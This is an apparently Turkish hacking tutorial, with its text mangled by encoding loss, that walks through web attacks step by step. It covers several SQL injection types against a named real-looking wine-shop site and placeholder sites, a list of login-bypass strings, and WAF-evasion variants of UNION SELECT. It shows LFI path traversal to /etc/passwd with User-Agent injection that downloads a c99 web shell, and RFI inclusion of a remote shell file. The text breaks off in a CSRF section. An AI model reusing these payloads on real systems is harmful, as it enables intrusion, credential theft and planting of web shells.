Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor

15- Kaccedil Tuumlr SQL İnjection Vardır

a-) MySql İnjection

Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız

SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut

Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım

Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı

Bu accedilığın kullanımına geccedilelim

Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam

Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22

Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun

Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş

Şimdi kolonları yansıtalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz

Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz

Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--

Sorgusunun ardından ekrana tablersquolar yansıdı

Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )

Şimdi admin tablosundaki kolonlara bakalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

Ekrana userpassmail yansıdığını farz edelim

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--

User admin

Pass 123456

Email adminparoswinescom

b-) Ms Access SQL İnjection

Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml

SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr

Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo

Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir

Microsoft JET Database Engine error rsquo80040e14rsquo

Syntax error in string in query expression rsquoid = 10rsquo

sayfaasp line 7

Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz

wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti

wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata

Microsoft JET Database Engine error rsquo80040e14rsquo

The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression

sayfaasp line 7

Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek

wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış

Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım

wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza

Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani

wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--

ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir

wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--

Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur

User mahserat

Pass bugres

c-) Blind SQL İnjection

Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz

Gene bir hedef site duumlşuumlnuumln

wwwsayfacomdosyaphpid=2 olsun

Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz

wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor

and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz

Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz

wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım

wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş

Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325

burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir

Şimdi user sutuumlnunu ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572

Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim

and substring((select user from users)11)=0x(tahmin edilen users)

and substring((select pass from users)21)=0x(tahmin edilen users)

Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz

Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir

d-) String SQL İnjection

Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani

wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor

wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz

wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim

wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok

wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil

wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor

Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi

wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )

Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr

Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

